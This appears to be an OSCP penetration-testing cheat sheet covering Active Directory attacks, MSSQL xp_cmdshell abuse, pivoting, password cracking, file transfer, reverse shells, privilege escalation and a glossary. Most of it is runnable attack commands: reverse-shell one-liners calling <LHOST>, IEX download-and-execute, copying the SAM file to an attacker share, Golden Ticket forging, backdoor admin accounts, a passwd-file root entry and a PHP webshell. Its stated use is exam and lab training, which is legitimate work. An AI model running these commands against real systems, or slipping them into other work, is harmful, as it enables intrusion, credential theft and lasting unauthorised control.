The krbtgt account's hash is the master key that signs every Kerberos ticket in the domain. Once you've dumped it (via DCSync), you can forge a "Golden Ticket" — a ticket claiming to be anyone, including a Domain Admin, valid for years. It's mainly a persistence trick; on the exam you'll usually already own the DC by this point, but it proves total, lasting control of the domain.
# Requirements: krbtgt NTLM hash + Domain SID
ticketer.py -nthash <KRBTGT_NTLM_HASH> \
-domain-sid S-1-5-21-XXX-XXX-XXX \
-domain corp.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass corp.local/Administrator@<DC_FQDN>
↑ Back to top
MSSQL is Microsoft's database server (port 1433) — but it can run operating-system commands. If you get in as a privileged DB user (often sa), you can switch on a feature called xp_cmdshell that runs Windows commands as the database service account — instant code execution.
How you usually get in: default/blank sa password, creds found in a web app's web.config, or a SQL injection that reaches the DB. Once inside, the steps below are a recipe: connect → enumerate → enable xp_cmdshell → shell. Even if you're not sa, the impersonation trick (Step 4) can promote you.
mssqlclient.py corp.local/sa@<TARGET_IP> -windows-auth
mssqlclient.py sa@<TARGET_IP>
mssqlclient.py corp.local/user:'pass'@<TARGET_IP> -windows-auth
SELECT @@version;
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin'); -- 1 = sysadmin!
SELECT name FROM master.dbo.sysdatabases;
-- Check impersonation rights:
SELECT distinct b.name FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';
-- Linked servers:
EXEC sp_linkedservers;
SELECT srvname, isremote FROM master..sysservers;
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'powershell -nop -w hidden -enc <BASE64_PAYLOAD>';
EXEC xp_cmdshell 'net user hax P@ss123! /add && net localgroup administrators hax /add';
EXECUTE AS LOGIN = 'sa';
SELECT IS_SRVROLEMEMBER('sysadmin'); -- Should return 1
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
-- Single hop (MS01 → MS02):
SELECT * FROM OPENQUERY("MS02\SQLEXPRESS", 'SELECT @@version, SYSTEM_USER');
SELECT * FROM OPENQUERY("MS02\SQLEXPRESS", 'SELECT IS_SRVROLEMEMBER(''sysadmin'')');
-- Execute on linked server:
EXEC ('xp_cmdshell ''whoami''') AT [MS02\SQLEXPRESS];
-- Enable + RCE on linked server:
EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [MS02\SQLEXPRESS];
EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [MS02\SQLEXPRESS];
EXEC ('xp_cmdshell ''powershell -enc <BASE64>''') AT [MS02\SQLEXPRESS];
-- Double hop (MS01 → MS02 → MS03):
EXEC ('EXEC (''xp_cmdshell ''''whoami'''''') AT [MS03]') AT [MS02\SQLEXPRESS];
# Setup Responder:
sudo responder -I tun0 -wv
# In MSSQL — trigger UNC auth:
EXEC xp_dirtree '\\<LHOST>\share';
EXEC xp_fileexist '\\<LHOST>\share\file';
# Crack captured NetNTLMv2:
hashcat -m 5600 netntlm.txt /usr/share/wordlists/rockyou.txt
# NTLM Relay (if SMB signing off):
sudo python3 ntlmrelayx.py -t smb://<TARGET_IP> -smb2support
Pivoting = using a machine you own as a stepping stone to reach machines you can't see. In the AD set, you can reach MS01 directly — but MS02 and the DC sit on an internal network your Kali box has no route to. MS01 can talk to them, so you turn MS01 into a tunnel and route your tools through it.
Simple analogy: you can't enter a locked office building, but you've befriended someone inside who passes your messages back and forth. That insider is your pivot.
For OSCP, learn one tool well — Ligolo-ng. It's the simplest: start the proxy on Kali, run the agent on MS01, and suddenly the internal subnet behaves like it's directly reachable. Don't drown in five different tools; master Ligolo and keep Chisel/SSH as backups.
# 1. Attacker: create tun interface + start proxy:
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601
# 2. Transfer agent to MS01 → connect:
# Windows:
certutil -urlcache -split -f http://<LHOST>/agent.exe agent.exe
.\agent.exe -connect <LHOST>:11601 -ignore-cert
# 3. In ligolo proxy console:
session; ifconfig; start
# 4. Add route to internal network:
sudo ip route add 10.10.10.0/24 dev ligolo
# Now attack MS02 directly!
nmap -sV 10.10.10.50
evil-winrm -i 10.10.10.50 -u user -p pass
# Expose internal port via listener:
listener_add --addr 0.0.0.0:8080 --to 10.10.10.50:80 --tcp
# After shell on MS02, expose ligolo port via listener on MS01:
listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp
# On MS02:
.\agent.exe -connect <MS01_IP>:11601 -ignore-cert
# New session appears in proxy → start → add route:
sudo ip route add 172.16.0.0/24 dev ligolo
certutil -urlcache -split -f http://<LHOST>/plink.exe plink.exe
cmd /c echo y | .\plink.exe -ssh -l root -pw <SSH_PASS> \
-R 127.0.0.1:4455:127.0.0.1:445 <LHOST>
# Attacker's 4455 → victim's 445
# Attacker:
./chisel server -p 8888 --reverse
# Victim:
.\chisel.exe client <LHOST>:8888 R:socks
# /etc/proxychains4.conf: socks5 127.0.0.1 1080
proxychains nmap -sT -Pn 10.10.10.50
proxychains evil-winrm -i 10.10.10.50 -u user -p pass
# Local port forward:
ssh -L 3389:10.10.10.50:3389 user@<MS01_IP>
xfreerdp /v:localhost:3389 /u:user /p:pass
# Dynamic SOCKS:
ssh -D 1080 -N user@<MS01_IP>
proxychains nmap -sT -Pn 10.10.10.0/24
↑ Back to top
Systems never store your real password — they store a hash: a scrambled, one-way fingerprint of it. "Cracking" means guessing passwords, hashing each guess, and checking if it matches the stolen hash. You're not reversing the hash; you're racing through millions of guesses.
Two situations, two approaches: if you have a stolen hash → crack it offline with hashcat/john (fast, silent, no lockouts). If you have a login form / service and no hash → brute-force online with hydra (slower, noisy, can lock accounts — use sparingly).
The first step is always identifying the hash type so you pick the right hashcat mode. rockyou.txt is your go-to wordlist; for OSCP you rarely need anything fancier.
| Mode | Hash Type | Use Case |
|---|---|---|
| 1000 | NTLM | Windows local hashes |
| 5600 | NetNTLMv2 | Responder captures |
| 5500 | NetNTLMv1 | Older captures |
| 13100 | Kerberoast TGS-REP | SPN hash crack |
| 18200 | AS-REP Roast | AS-REP hash crack |
| 1800 | SHA512crypt $6$ | Linux /etc/shadow |
| 500 | MD5crypt $1$ | Linux shadow (older) |
| 3200 | bcrypt $2y$ | Modern Linux/web |
| 0 | MD5 | Web app hashes |
hashcat -m 1000 ntlm.txt rockyou.txt
hashcat -m 5600 netntlm.txt rockyou.txt
hashcat -m 13100 tgs.txt rockyou.txt -r rules/best64.rule
hashcat -m 18200 asrep.txt rockyou.txt
hashcat -m 1800 shadow.txt rockyou.txt
# Capture (Responder):
sudo responder -I tun0 -wv
hashcat -m 5600 Responder/logs/HTTP-NTLMv2-*.txt rockyou.txt
# Check signing:
nxc smb <SUBNET>/24 -u '' -p '' --gen-relay-list unsigned.txt
# Relay:
sudo python3 ntlmrelayx.py -tf unsigned.txt -smb2support
# Trigger auth via UNC, link, etc. → SAM dump or shell
# SSH:
hydra -l root -P rockyou.txt ssh://<TARGET_IP> -t 4
# HTTP POST:
hydra -l admin -P rockyou.txt <TARGET_IP> http-post-form \
"/login.php:username=^USER^&password=^PASS^:Invalid"
# SMB spray (check lockout first!):
nxc smb <TARGET_IP> -u stephanie -p 'Password123' --pass-pol
nxc smb <TARGET_IP> -u domain_users.txt -p 'Password123' --continue-on-success
↑ Back to top
After getting a shell, you'll always need to move files — pushing your enumeration scripts (linpeas, winPEAS) to the target, and pulling loot (hashes, configs) back to Kali. The target rarely has internet, so you host the file on your own machine and have the target fetch it.
The standard pattern: on Kali, start a quick web server in the folder with your file — python3 -m http.server 80 — then on the target use whatever download tool exists (wget, curl, certutil, PowerShell). The commands below cover every OS combination. Pick the one that matches your shell.
# PowerShell:
IEX(New-Object Net.WebClient).DownloadString('http://<LHOST>/shell.ps1')
(New-Object Net.WebClient).DownloadFile('http://<LHOST>/file.exe','C:\Temp\file.exe')
Invoke-WebRequest -Uri http://<LHOST>/file.exe -OutFile C:\Temp\file.exe
# Certutil:
certutil -urlcache -split -f http://<LHOST>/file.exe C:\Temp\file.exe
# BITS:
bitsadmin /transfer job /download /priority normal http://<LHOST>/file.exe C:\Temp\file.exe
# SMB (setup on attacker):
impacket-smbserver share . -smb2support
copy \\<LHOST>\share\file.exe C:\Temp\
# Via SMB:
copy C:\Windows\System32\config\SAM \\<LHOST>\share\SAM
# Base64 encode → copy/paste:
[System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\file.txt"))
# Decode on attacker:
echo '<BASE64>' | base64 -d > file.txt
python3 -m http.server 80
wget http://<LHOST>/file; curl http://<LHOST>/file -o file
scp file.txt user@<TARGET_IP>:/tmp/
# Netcat:
nc -lvnp 4444 > file # receiver
nc <IP> 4444 < file # sender
# Base64:
base64 -w0 file.exe; echo '<B64>' | base64 -d > file.exe
↑ Back to top
A reverse shell makes the target connect back to you. You start a listener on Kali (nc -lvnp 4444), then trick the target into running a one-liner that dials home to your IP and port. This works even through firewalls, which is why it's the default — a bind shell (where you connect to the target) usually gets blocked by inbound filtering.
Always upgrade your shell. The first shell you get is "dumb" — no arrow keys, no tab-complete, and Ctrl-C kills it. Upgrading to a full TTY (the python3 pty trick below) makes it behave like a real terminal so you can use sudo, text editors, and SSH. Do this immediately every time.
# Bash:
bash -i >& /dev/tcp/<LHOST>/4444 0>&1
# Python3:
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<LHOST>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# PHP webshell:
<?php system($_GET["cmd"]); ?>
# Netcat (mkfifo):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> 4444 >/tmp/f
# msfvenom payloads:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=4444 -f exe -o shell.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=4444 -f aspx -o shell.aspx
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST> LPORT=4444 -f war -o shell.war
# Method 1: Python PTY (most reliable)
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg
export TERM=xterm; stty rows 48 columns 190
# Method 2: Script
script /dev/null -c bash
# Then: Ctrl+Z → stty raw -echo; fg → export TERM=xterm
# Method 3: Socat (best quality)
# Attacker: socat file:`tty`,raw,echo=0 tcp-listen:4444
# Victim: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<LHOST>:4444
↑ Back to top
A CVE is a known, catalogued vulnerability. Once you've identified the exact software and version on a target, search for a matching exploit: searchsploit <software> locally, or Exploit-DB / GitHub online. The table below is a shortlist of CVEs that show up most often in OSCP-style boxes.
⚠ Never run a downloaded exploit blindly. Read the code first — confirm it targets your exact version, edit the IP/port variables, and understand what it does. Random "auto-pwn" scripts can crash the box or do nothing. Verify the version matches; a Windows 7 exploit won't work on Server 2019.
| CVE / Exploit | Target | Impact |
|---|---|---|
| MS17-010 EternalBlue | Win7/2008 R2 (SMB v1) | → SYSTEM |
| CVE-2019-0708 BlueKeep | Win7/2008 RDP | → RCE/SYSTEM |
| CVE-2021-41773 | Apache 2.4.49 PATH traversal | → RCE |
| CVE-2021-3156 Baron Samedit | sudo < 1.9.5p2 | → local root |
| CVE-2021-4034 PwnKit | pkexec all distros | → local root |
| CVE-2022-0847 DirtyPipe | kernel 5.8–5.16.11 | → local root |
| CVE-2016-5195 DirtyCow | kernel < 4.8.3 | → local root |
| CVE-2021-44228 Log4Shell | Log4j 2.x Java | → RCE |
| CVE-2021-1675 PrintNightmare | Win2019/10 | → SYSTEM/RCE |
| CVE-2022-26134 Confluence | OGNL injection 7.4.17 | → RCE |
searchsploit apache 2.4
searchsploit "windows smb" remote
searchsploit -w openssh 7.2 # Show Exploit-DB URL
searchsploit -m 47837 # Copy exploit to CWD
searchsploit -x 47837 # Examine without copying
searchsploit -u # Update DB
↑ Back to top
mkdir -p ~/exam/{ad/{ms01,ms02,dc},box{1,2,3}}/{scans,loot,exploits,screenshots}flameshot gui)# Every flag screenshot MUST show:
# Linux:
cat /root/proof.txt && whoami && hostname && ip addr show
# Windows:
type C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfig /all
-p- not just top 1000)Hacking the box is only half the job — you must prove it, or you score zero for that machine. Students genuinely fail the exam for sloppy proof: a flag screenshot that doesn't also show whoami and ip addr may not be accepted, because it doesn't prove which machine you were on or what privilege you had.
Build the habit: the moment you read a flag, take the full screenshot (flag + whoami/id + hostname + IP) immediately, before doing anything else. Shells die. Take the proof while you have it. The exact commands are below — paste them as one line.
# Linux local.txt (unprivileged):
cat /home/<USERNAME>/local.txt && whoami && id && hostname && ip addr show
# Linux proof.txt (root):
cat /root/proof.txt && whoami && id && hostname && ip addr show
# Windows local.txt:
type C:\Users\<USERNAME>\Desktop\local.txt & whoami & hostname & ipconfig
# Windows proof.txt (SYSTEM / Administrator):
type C:\Users\Administrator\Desktop\proof.txt & whoami /all & hostname & ipconfig /all
# If not found:
find / -name "*.txt" 2>/dev/null | xargs grep -l "OS{" 2>/dev/null
dir /s /b C:\*.txt 2>nul | findstr "local\|proof"
| Machine | Flag | Points | Flag Value | Screenshot |
|---|---|---|---|---|
| AD MS01 | local.txt | 10 pts | ____________ | ☐ |
| AD MS02 | local.txt | 10 pts | ____________ | ☐ |
| AD DC01 | proof.txt | 20 pts | ____________ | ☐ |
| Box 1 | local.txt | 10 pts | ____________ | ☐ |
| Box 1 | proof.txt | 10 pts | ____________ | ☐ |
| Box 2 | local.txt | 10 pts | ____________ | ☐ |
| Box 2 | proof.txt | 10 pts | ____________ | ☐ |
| Box 3 | local.txt | 10 pts | ____________ | ☐ |
| Box 3 | proof.txt | 10 pts | ____________ | ☐ |
nc -lvnp 4444
rlwrap nc -lvnp 4444 # With readline
psexec.py dom/user:pass@<IP> # SYSTEM via SMB
wmiexec.py dom/user:pass@<IP> # semi-interactive WMI
smbexec.py dom/user:pass@<IP> # no binary on disk
# Hash (PTH):
psexec.py dom/user@<IP> -hashes :<NTLM_HASH>
wmiexec.py dom/user@<IP> -hashes :<NTLM_HASH>
# AD attacks:
GetUserSPNs.py dom/user:pass -dc-ip <DC_IP> -request # Kerberoast
GetNPUsers.py dom/user:pass -dc-ip <DC_IP> -request # AS-REP
secretsdump.py dom/user:pass@<DC_IP> -just-dc # DCSync
getST.py -spn cifs/<FQDN> -impersonate Admin dom/user:pass -dc-ip <DC_IP> # S4U2Self
ticketer.py -nthash <KRBTGT_HASH> -domain-sid <SID> -domain dom Admin
nxc smb <IP> -u user -p pass # Test creds
nxc smb <IP> -u user -H <NTLM_HASH> # PTH
nxc smb <SUBNET>/24 -u user -p pass --continue-on-success
nxc smb <IP> -u user -p pass --shares --users --pass-pol
nxc smb <IP> -u user -p pass --sam --lsa
nxc smb <IP> -u user -p pass -M lsassy
nxc smb <IP> -u user -p pass -M gpp_password
nxc smb <IP> -u user -p pass -x "whoami"
nxc winrm <IP> -u user -p pass
nxc mssql <IP> -u sa -p pass --local-auth
nxc mssql <IP> -u sa -p pass -q "SELECT @@version"
sudo find . -exec /bin/bash \; -p
python3 -c 'import os; os.execl("/bin/bash","bash","-p")'
perl -e 'exec "/bin/bash"'
awk 'BEGIN {system("/bin/bash")}'
sudo vim -c ':!/bin/bash'
sudo less /etc/hosts → !/bin/bash
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
echo 'root2::0:0::/root:/bin/bash' | sudo tee -a /etc/passwd
| OS | Path | Why |
|---|---|---|
| Linux | /etc/shadow | Hashes |
| Linux | /home/*/.bash_history | Command history (GOLD) |
| Linux | /home/*/.ssh/id_rsa | Private keys |
| Linux | /var/www/html/ | Web configs / DB creds |
| Windows | C:\Windows\System32\config\SAM | Local hashes |
| Windows | C:\Windows\NTDS\ntds.dit | AD hashes (DC) |
| Windows | C:\inetpub\wwwroot\web.config | DB/app creds |
| Windows | PSReadLine\ConsoleHost_history.txt | PS history (GOLD) |
| Windows | C:\Windows\Panther\unattend.xml | Autologon creds |
Half the battle in OSCP is the vocabulary. If a term above confused you, find it here in plain English. Don't memorise — just understand what problem each technique solves.
| Term | Plain-English Meaning |
|---|---|
| Enumeration | Information gathering. Finding every open port, service, version, file and user before attacking. The single most important skill. |
| Foothold / Initial Access | Your first shell on a target — getting any code execution as any user. |
| Privilege Escalation (PrivEsc) | Going from a low-privilege user to root (Linux) or SYSTEM/Administrator (Windows). |
| Shell | A command line on the remote machine. Reverse shell = target connects back to you; bind shell = you connect to a port the target opened. |
| Payload | The code you deliver to get a shell (e.g. a reverse-shell one-liner or an msfvenom binary). |
| Pivoting / Tunnelling | Using a machine you already own as a bridge to reach internal machines you can't touch directly. |
| Lateral Movement | Moving sideways from one compromised machine to another at the same privilege level. |
| Loot | Anything useful you grab post-exploitation: passwords, hashes, SSH keys, config files, history files. |
| CVE | A publicly catalogued vulnerability (e.g. CVE-2021-4034). Search them with searchsploit. |
| Term | Plain-English Meaning |
|---|---|
| SUID binary | A program that runs as its owner (often root) no matter who launches it. If it's on GTFOBins, it's an escalation path. |
| sudo -l | Lists commands your user is allowed to run as root. Check each one against GTFOBins. |
| Cron job | A script Linux runs automatically on a schedule. If you can edit a root-owned cron script, you can run code as root. |
| Capabilities | Fine-grained root powers granted to a single binary (e.g. cap_setuid) — a sneaky escalation route. |
| GTFOBins | A website listing how to abuse common Linux binaries to break out to a shell or escalate. |
| Term | Plain-English Meaning |
|---|---|
| SQL Injection (SQLi) | Sneaking database commands into an input box. Can dump credentials or, via MSSQL/xp_cmdshell, run OS commands. |
| LFI (Local File Inclusion) | Tricking a web app into reading server files it shouldn't (e.g. /etc/passwd). Can sometimes be escalated to code execution (log poisoning, PHP wrappers). |
| RFI (Remote File Inclusion) | Like LFI, but the app loads a file from your server — letting you serve a malicious payload for instant code execution. |
| Command Injection | An input that gets passed to the OS shell, letting you append your own commands (e.g. ; whoami). Direct path to a shell. |
| File Upload Bypass | Sneaking a webshell past weak upload filters, then browsing to it to run commands. |
| SSTI (Server-Side Template Injection) | Injecting template syntax the server evaluates — often leads to remote code execution. |
| IDOR | Changing an ID in a URL/request (?user_id=2) to access another user's data the app forgot to protect. |
| XSS (Cross-Site Scripting) | Injecting JavaScript that runs in another user's browser. Less central to OSCP than the server-side bugs above. |
| Webshell | A small script placed on a web server (e.g. <?php system($_GET['cmd']); ?>) that lets you run commands via the browser. |
| VHost | Multiple sites served from one IP, selected by the Host: header. Hidden vhosts often hold the real target — always fuzz for them. |
| Term | Plain-English Meaning |
|---|---|
| Domain Controller (DC) | The central server holding all AD users, computers and password hashes. The final boss. |
| Domain Admin (DA) | The "god mode" account over the whole Windows domain. Your goal in the AD set. |
| NTLM Hash | The stored form of a Windows password. You can often log in with the hash itself — no cracking needed. |
| Pass-the-Hash (PTH) | Authenticating using a stolen NTLM hash instead of the plaintext password. |
| Kerberoasting | Requesting service tickets that contain a crackable hash of a service account's password. |
| AS-REP Roasting | Grabbing a crackable hash for any account that has Kerberos pre-auth disabled — no password needed to request it. |
| DCSync | Pretending to be a Domain Controller to ask the real DC for everyone's password hashes. |
| BloodHound | A tool that maps the AD network into a graph and literally shows you the shortest path to Domain Admin. |
| ACL Abuse | Exploiting a permission someone misconfigured (e.g. you can reset another user's password) to climb privileges. |
| Golden Ticket | A forged Kerberos ticket (made from the krbtgt hash) that grants access to anything in the domain. |
Feeling stuck is normal and happens on every box, in the lab and in the exam. Being stuck almost never means "I need a harder exploit." It means you've missed information. Work this list top to bottom before you give up on a machine.
nmap -p-), not just the top 1000?searchsploit on each?/etc/hosts first)?